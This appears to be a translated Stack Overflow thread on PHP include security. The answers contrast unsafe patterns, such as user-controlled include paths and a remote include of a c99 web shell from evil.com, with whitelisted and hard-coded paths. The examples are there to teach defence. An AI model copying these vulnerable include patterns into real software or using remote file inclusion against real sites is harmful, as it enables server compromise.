10

我正在使用“include”函数(例如“include 'header2.php'”或“include 'class.users.php'”)在我的网站中添加标题或会话类。我真的不记得在哪里,但我听说黑客滥用了,不知何故,这个“包含”的东西,发送虚假的包含页面或类似的东西。所以基本上我想知道那个“包含”功能是什么,我该如何保护它,他们如何滥用它以及是否有更好的解决方案来解决我正在寻找的问题。

提前致谢。

4

7 回答 7

17

这完全取决于您如何实现它。如果您专门设置了路径,那么它是安全的。如果您允许用户输入来确定文件路径而不进行清理或检查,则可能会发生攻击。

不安全(目录遍历)

<?php 
include($_GET['file']);
?>

不安全URL fopen - 如果启用)

<?php 
include('http://evil.com/c99shell.php');
?>

不安全

<?php 
include('./some_dir/' . $_GET['file']);
?>

部分不安全(*.php 文件易受攻击)

<?php 
include('./some_dir/' . $_GET['file'] . '.php');
?>

安全(虽然不知道为什么有人会这样做。)

<?php 
$allowed = array(
    'somefile.php',
    'someotherfile.php'
);

if (in_array(basename($_GET['file']), $allowed)) {
    include('./includes/' . basename($_GET['file']));
}
?>

安全的

<?php 
include('./includes/somefile.php');
?>
于 2012-04-13T21:15:08.437 回答
4

包含的最大问题可能是将文件扩展名从 PHP 更改为不会由 Web 服务器自动执行的内容。例如 - library.inc 或 config.inc。使用 Web 浏览器调用这些文件将显示代码而不是执行它 - 并且将显示任何密码或可利用的提示。

将可能包含密码的config.php与config.inc进行比较。在大多数情况下,拉起 config.inc 会显示数据库密码是什么。

有些程序员对库使用 .inc 扩展名。前提是它们不会位于 Web 服务器可访问的目录中。但是,安全性较低的偏执程序员可能会将该文件转储到方便的 Web 目录中。

否则,请确保您不包含以某种方式由查询字符串提交的文件。例如:include( $_GET['menu_file'] )<--这是非常错误的。

于 2012-04-13T21:13:37.263 回答
3

如果您执行以下操作,可能会滥用包含:

include($_GET["page"]);

然后调用 URL:

myscript.php?page=index.php

然后攻击者可以替换它index.phphxxp://hackerz.ru/install_stuff.php您的服务器将很乐意运行它。

include本身是完全安全的。只要确保始终验证/转义您的输入。

于 2012-04-13T21:12:26.877 回答
3

任何服务器端(假设您的服务器没有受到威胁)都是安全的。这样做:

$var = $_GET['var']';    
include $var . ".php";

是不安全的。

include "page.php"; 

是安全的。

于 2012-04-13T21:13:57.557 回答
2

如果您不这样做,包含是安全的:

  1. 包括一个远程文件,如www.someoneelsesssite.com/something.php
  2. 包含来自客户端的路径中的文件。www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
  3. 包括来自另一个可能被污染的来源(如数据库)的文件。

2 和 3 从技术上来说有一个警告,如果你禁止.or/或者在 windows 上\你可能没问题。但是如果你不知道为什么,你就没有足够的了解去冒险。即使您认为数据库是只读的或其他安全的,明智的做法是不要假设,除非您真的必须这样做,这几乎从来没有。

正如 pp19dd 的回答所指出的那样。使用 .php 扩展名命名包含也很重要。如果您已设置 apache(或您使用的任何 Web 服务器)也将另一种文件类型解析为 PHP,那也是安全的。但如果您不确定,请仅使用 .php。

于 2012-04-13T21:12:19.530 回答
1

最好的办法是确保您尝试包含的页面首先存在。当您的包含页面是从某种用户输入(例如 URL 变量)处理时,真正的安全漏洞就出现了。?include=page.php只要你小心这些,你应该没问题。

if(is_file($file)) {
    //other code, such as user verification and such should also go here
    include $file;
}
else { die(); }
于 2012-04-13T21:12:37.093 回答
-2

我正在使用这种方法。

<?php include (dirname(__FILE__).'/file.php');
于 2015-07-02T17:48:57.067 回答